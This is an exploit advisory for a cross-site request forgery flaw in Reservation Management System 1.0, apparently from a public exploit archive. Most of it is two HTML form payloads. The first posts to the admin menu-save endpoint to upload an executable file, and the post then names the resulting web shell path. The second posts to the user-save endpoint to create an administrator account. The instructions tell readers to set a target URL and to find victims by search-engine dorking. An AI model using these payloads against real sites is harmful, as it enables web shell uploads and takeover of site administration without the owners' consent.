Reservation Management System 1.0 Cross Site Request Forgery

=============================================================================================================================================
| # Title : Reservation Management System 1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/reservation.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Line 8 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class=”modal-content”>
<div class=”modal-header”>
<button type=”button” class=”close” data-dismiss=”modal” aria-hidden=”true”>×</button>
<h4 class=”modal-title”>Add New Menu</h4>
</div>
<div class=”modal-body”>
<!–start form–>
<form class=”form-horizontal” method=”post” action=”http://127.0.0.1/reservation/admin/menu_save.php” enctype=”multipart/form-data”>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Menu Name</label>
<div class=”col-lg-8″>
<input type=”text” class=”form-control” name=”menu” id=”title” placeholder=”Menu Name” required=””>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Category</label>
<div class=”col-lg-8″>
<select class=”form-control select2″ id=”exampleSelect1″ name=”cat” required=””>
<option value=”9″>Dessert</option>
<option value=”6″>Main Course</option>
<option value=”7″>Pasta</option>
<option value=”10″>Rice</option>
</select>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Subcategory</label>
<div class=”col-lg-8″>
<select class=”form-control select2″ id=”exampleSelect1″ name=”subcat”>
<option>Drinks</option>
<option>Lunch and Dinner</option>
<option>Mirienda</option>
<option>Non Combo Meal</option>
</select>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Description</label>
<div class=”col-lg-8″>
<textarea class=”form-control” name=”desc” id=”title” placeholder=”Description” required=””></textarea>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Price</label>
<div class=”col-lg-8″>
<input type=”text” class=”form-control” name=”price” id=”title” placeholder=”Price” required=””>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Image</label>
<div class=”col-lg-8″>
<input type=”file” class=”form-control” name=”image” id=”title”>
</div>
</div>

<!– Buttons –>
<div class=”form-group”>
<!– Buttons –>
<div class=”col-lg-offset-2 col-lg-6″>
<button type=”submit” class=”btn btn-sm btn-primary”>Save</button>
<button type=”button” class=”btn btn-default” data-dismiss=”modal” aria-hidden=”true”>Close</button>
</div>
</div>
</form>
<!–end form–>
</div>

</div>

[+] Ev!L : http://127.0.0.1/reservation/images/shopping.php

———–[+] Part 02 Add Admin [+]——————-

[+] Line 8 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class=”modal-content”>
<div class=”modal-header”>
<button type=”button” class=”close” data-dismiss=”modal” aria-hidden=”true”>×</button>
<h4 class=”modal-title”>Add New User</h4>
</div>
<div class=”modal-body”>
<!–start form–>
<form class=”form-horizontal” method=”post” action=”http://127.0.0.1/reservation/admin/user_save.php”>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”title”>Full Name</label>
<div class=”col-lg-8″>
<input type=”text” class=”form-control” name=”name” id=”title” placeholder=”Write Full Name of User” required=””>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”username”>Username</label>
<div class=”col-lg-8″>
<input type=”text” class=”form-control” name=”username” value=”chimney_admin” placeholder=”Write Username” required=””>
</div>
</div>
<!– Title –>
<div class=”form-group”>
<label class=”control-label col-lg-2″ for=”password”>Password</label>
<div class=”col-lg-8″>
<input type=”password” class=”form-control” name=”password” id=”password” placeholder=”Write password” required=””>
</div>
</div>

<!– Buttons –>
<div class=”form-group”>
<!– Buttons –>
<div class=”col-lg-offset-2 col-lg-6″>
<button type=”submit” class=”btn btn-sm btn-primary”>Save</button>
<button type=”button” class=”btn btn-default” data-dismiss=”modal” aria-hidden=”true”>Close</button>
</div>
</div>
</form>
<!–end form–>
</div>

</div>
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================